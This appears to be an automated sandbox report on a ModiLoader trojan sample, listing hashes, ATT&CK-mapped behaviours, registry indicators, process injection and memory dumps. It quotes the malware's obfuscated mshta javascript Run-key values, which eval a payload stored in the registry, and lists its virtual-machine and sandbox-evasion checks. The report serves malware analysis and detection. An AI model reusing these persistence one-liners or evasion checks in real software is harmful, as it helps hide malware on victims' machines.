modiloader | e993ee0285a1d65777a55ce70325d21042429b7c2814219994dc9511edd97f37

General

Target

e993ee0285a1d65777a55ce70325d21042429b7c2814219994dc9511edd97f37.exe
Size

338KB
MD5

0d11a2cb2e4cabc1d2f271996855215e
SHA1

d3aef50255d0c000f47ed92ca5960d5da5398ea7
SHA256

e993ee0285a1d65777a55ce70325d21042429b7c2814219994dc9511edd97f37
SHA512

5e0409e50345ac5bff555d8cf32dfbe6412f75d363b202b7644aff399cd278c9ff5f6514330c93c4c438e377ab254943b65c025a04279de718b6adc3d6374c1f
SSDEEP

6144:Ye3CjFmbdJ9c7BxOHqSE/i+znaBVFrVVx3fYRUngQlUNVmW/0aRkAc:Ye3CGaQKSE/i+zWr93QSONB2L

Score

10^/10

modiloader evasion persistence trojan

Malware Config

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
evasion

Software Discovery
T1518
Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

svchost.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions svchost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions	svchost.exe

ModiLoader Second Stage 7 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1632-56-0x0000000000400000-0x0000000000458000-memory.dmp	modiloader_stage2
behavioral1/memory/1264-60-0x0000000000080000-0x0000000000132000-memory.dmp	modiloader_stage2
behavioral1/memory/276-64-0x00000000001B0000-0x0000000000262000-memory.dmp	modiloader_stage2
behavioral1/memory/1636-69-0x00000000000C0000-0x0000000000172000-memory.dmp	modiloader_stage2
behavioral1/memory/1636-70-0x00000000000C0000-0x0000000000172000-memory.dmp	modiloader_stage2
behavioral1/memory/1264-71-0x0000000000080000-0x0000000000132000-memory.dmp	modiloader_stage2
behavioral1/memory/276-72-0x00000000001B0000-0x0000000000262000-memory.dmp	modiloader_stage2

Adds policy Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

svchost.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:guQCOd4f=\"w4RHfgjTPx\";SN4=new%20ActiveXObject(\"WScript.Shell\");gnCkb0G=\"TYc84fqph\";k92zfc=SN4.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\373ec584\\\\24f6e4fc\");FP2lvfho=\"zc3F\";eval(k92zfc);p5tkezW6=\"OOl3itW\";"	svchost.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

svchost.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools svchost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools	svchost.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

svchost.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	svchost.exe

Deletes itself 1 IoCs

Processes:

svchost.exe

pid process

1264 svchost.exe

pid	process
1264	svchost.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

svchost.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:IOk9NZI=\"Yrzc109E\";g1w=new%20ActiveXObject(\"WScript.Shell\");zwivP70ZJ=\"sIdF\";y20xGx=g1w.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\373ec584\\\\24f6e4fc\");nV4uIIAE4=\"KK2QWN\";eval(y20xGx);Ez5axkhI=\"80OTVETqx\";"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:ROuVA0n6=\"j\";QY16=new%20ActiveXObject(\"WScript.Shell\");Oljlfoi12W=\"d3v8\";mYy3h=QY16.RegRead(\"HKCU\\\\software\\\\373ec584\\\\24f6e4fc\");OvPPG84ID=\"Ag\";eval(mYy3h);rtKksxN5O=\"aGYs\";"	svchost.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

svchost.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	svchost.exe

Modifies Internet Explorer settings 1 TTPs 8 IoCs

adware spyware

Modify Registry

T1112

Processes:

svchost.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\International	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\svchost.exe = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0"	svchost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\svchost.exe = "0"	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0"	svchost.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

e993ee0285a1d65777a55ce70325d21042429b7c2814219994dc9511edd97f37.exesvchost.exe

pid	process
1632	e993ee0285a1d65777a55ce70325d21042429b7c2814219994dc9511edd97f37.exe
1632	e993ee0285a1d65777a55ce70325d21042429b7c2814219994dc9511edd97f37.exe
1632	e993ee0285a1d65777a55ce70325d21042429b7c2814219994dc9511edd97f37.exe
1632	e993ee0285a1d65777a55ce70325d21042429b7c2814219994dc9511edd97f37.exe
1632	e993ee0285a1d65777a55ce70325d21042429b7c2814219994dc9511edd97f37.exe
1632	e993ee0285a1d65777a55ce70325d21042429b7c2814219994dc9511edd97f37.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe

Suspicious behavior: MapViewOfSection 6 IoCs

Processes:

e993ee0285a1d65777a55ce70325d21042429b7c2814219994dc9511edd97f37.exesvchost.exe

pid	process
1632	e993ee0285a1d65777a55ce70325d21042429b7c2814219994dc9511edd97f37.exe
1632	e993ee0285a1d65777a55ce70325d21042429b7c2814219994dc9511edd97f37.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe
1264	svchost.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

e993ee0285a1d65777a55ce70325d21042429b7c2814219994dc9511edd97f37.exesvchost.exe

description	pid	process	target process
PID 1632 wrote to memory of 1264	1632	e993ee0285a1d65777a55ce70325d21042429b7c2814219994dc9511edd97f37.exe	svchost.exe
PID 1632 wrote to memory of 1264	1632	e993ee0285a1d65777a55ce70325d21042429b7c2814219994dc9511edd97f37.exe	svchost.exe
PID 1632 wrote to memory of 1264	1632	e993ee0285a1d65777a55ce70325d21042429b7c2814219994dc9511edd97f37.exe	svchost.exe
PID 1632 wrote to memory of 1264	1632	e993ee0285a1d65777a55ce70325d21042429b7c2814219994dc9511edd97f37.exe	svchost.exe
PID 1264 wrote to memory of 276	1264	svchost.exe	svchost.exe
PID 1264 wrote to memory of 276	1264	svchost.exe	svchost.exe
PID 1264 wrote to memory of 276	1264	svchost.exe	svchost.exe
PID 1264 wrote to memory of 276	1264	svchost.exe	svchost.exe
PID 1264 wrote to memory of 1636	1264	svchost.exe	explorer.exe
PID 1264 wrote to memory of 1636	1264	svchost.exe	explorer.exe
PID 1264 wrote to memory of 1636	1264	svchost.exe	explorer.exe
PID 1264 wrote to memory of 1636	1264	svchost.exe	explorer.exe

C:\Users\Admin\AppData\Local\Temp\e993ee0285a1d65777a55ce70325d21042429b7c2814219994dc9511edd97f37.exe
"C:\Users\Admin\AppData\Local\Temp\e993ee0285a1d65777a55ce70325d21042429b7c2814219994dc9511edd97f37.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1632

C:\Windows\SysWOW64\svchost.exe
"svchost.exe"
2⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1264

C:\Windows\SysWOW64\svchost.exe
"C:\Windows\SysWOW64\svchost.exe"
3⤵
PID:276

C:\Windows\SysWOW64\explorer.exe
"explorer.exe"
3⤵
PID:1636

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

2

T1060

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

2

T1497

Modify Registry

3

T1112

Credential Access

Discovery

Software Discovery

1

T1518

Query Registry

4

T1012

Virtualization/Sandbox Evasion

2

T1497

System Information Discovery

2

T1082

Peripheral Device Discovery

1

T1120

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/276-61-0x0000000000000000-mapping.dmp

Download
memory/276-72-0x00000000001B0000-0x0000000000262000-memory.dmp

Filesize
712KB

Download
memory/276-64-0x00000000001B0000-0x0000000000262000-memory.dmp

Filesize
712KB

Download
memory/276-63-0x0000000000790000-0x0000000000798000-memory.dmp

Filesize
32KB

Download
memory/1264-59-0x0000000000790000-0x0000000000798000-memory.dmp

Filesize
32KB

Download
memory/1264-60-0x0000000000080000-0x0000000000132000-memory.dmp

Filesize
712KB

Download
memory/1264-57-0x0000000000000000-mapping.dmp

Download
memory/1264-71-0x0000000000080000-0x0000000000132000-memory.dmp

Filesize
712KB

Download
memory/1632-54-0x0000000076BA1000-0x0000000076BA3000-memory.dmp

Filesize
8KB

Download
memory/1632-56-0x0000000000400000-0x0000000000458000-memory.dmp

Filesize
352KB

Download
memory/1632-55-0x0000000002040000-0x0000000002062000-memory.dmp

Filesize
136KB

Download
memory/1636-65-0x0000000000000000-mapping.dmp

Download
memory/1636-67-0x0000000075341000-0x0000000075343000-memory.dmp

Filesize
8KB

Download
memory/1636-68-0x0000000000B00000-0x0000000000D81000-memory.dmp

Filesize
2.5MB

Download
memory/1636-69-0x00000000000C0000-0x0000000000172000-memory.dmp

Filesize
712KB

Download
memory/1636-70-0x00000000000C0000-0x0000000000172000-memory.dmp

Filesize
712KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads